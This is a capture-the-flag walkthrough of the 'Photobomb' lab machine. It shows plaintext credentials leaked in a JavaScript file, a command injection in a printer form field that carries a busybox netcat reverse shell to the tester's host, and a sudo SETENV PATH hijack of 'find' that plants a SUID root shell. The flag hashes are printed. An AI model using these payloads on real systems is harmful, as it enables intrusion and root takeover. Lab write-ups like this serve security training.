Photobomb
Recon
HTTP (80)

Leaked Credentials
In the source we can view the Javascript file which contains plaintext credentials 💀
└─$ curl http://photobomb.htb/photobomb.js
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Creds:
pH0t0:b0Mb!
SQLi

When testing for SQLi the application crashed with backtrace (I accidently encoded &
sign and that was the reason)

Leaked env:

Command Injection
I was thinking heavily on SQLi, but then testing for Command Injection we get different output. Normal request takes ~2sec, adding 3sec sleep it takes >5sec.

curl
makes a callback
└─$ listen 80
Ncat: Connection from 10.129.241.84:35510.
GET / HTTP/1.1
Host: 10.10.14.113
User-Agent: curl/7.68.0
Accept: */*
└─$ curl 'http://photobomb.htb/printer' -H 'Authorization: Basic cEgwdDA6YjBNYiE=' -d $'photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=jpg; busybox nc 10.10.14.113 4444 -e /bin/bash&dimensions=3000x2000'
Reverse Shell
└─$ pwncat-cs -lp 4444
[08:28:32] received connection from 10.129.241.84:40584 bind.py:84
(remote) wizard@photobomb:/home/wizard/photobomb$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
User.txt
(remote) wizard@photobomb:/home/wizard/photobomb$ cat ../user.txt
baf544549755cc416da3db78109ae485
Privilege Escalation
(remote) wizard@photobomb:/home/wizard/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
(remote) wizard@photobomb:/home/wizard/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
We have SETENV
with sudo
and find
doesn't have absolute path.
(remote) wizard@photobomb:/home/wizard$ echo $'#!/bin/bash\ninstall -m4777 /bin/bash /tmp/rootbash' > find
(remote) wizard@photobomb:/home/wizard$ chmod +x find
(remote) wizard@photobomb:/home/wizard$ sudo PATH="/home/wizard:$PATH" /opt/cleanup.sh
(remote) wizard@photobomb:/home/wizard$ ls /tmp/rootbash -l
-rwsrwxrwx 1 root root 1183448 Dec 8 13:33 /tmp/rootbash
Root.txt
(remote) wizard@photobomb:/home/wizard$ /tmp/rootbash -p
(remote) root@photobomb:/home/wizard# cat /root/root.txt
9d72864ffe37f0f68018e62140516fb2
Last updated